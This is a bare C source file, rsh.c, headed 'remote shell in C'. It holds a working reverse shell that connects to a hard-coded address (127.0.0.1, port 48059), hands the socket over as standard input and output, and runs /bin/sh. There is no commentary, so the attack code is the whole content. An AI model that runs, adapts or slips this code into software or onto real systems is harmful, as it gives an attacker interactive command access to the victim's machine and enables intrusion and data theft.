remote shell in C

// rsh.c

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <sys/socket.h>

#include <unistd.h>

#include <arpa/inet.h>

int main(){

char* args[] = {"/bin/sh", 0};

int fd = socket(AF_INET, SOCK_STREAM, 0);

struct sockaddr_in addr;

addr.sin_family = AF_INET;

addr.sin_addr.s_addr = 0x0100007f;

addr.sin_port = 0xBBBB; // 48059

connect( fd, (struct sockaddr*)&addr, sizeof(addr) );

dup2( fd, 0 );

dup2( fd, 1 );

execve( args[0], args, args );

return 0;

}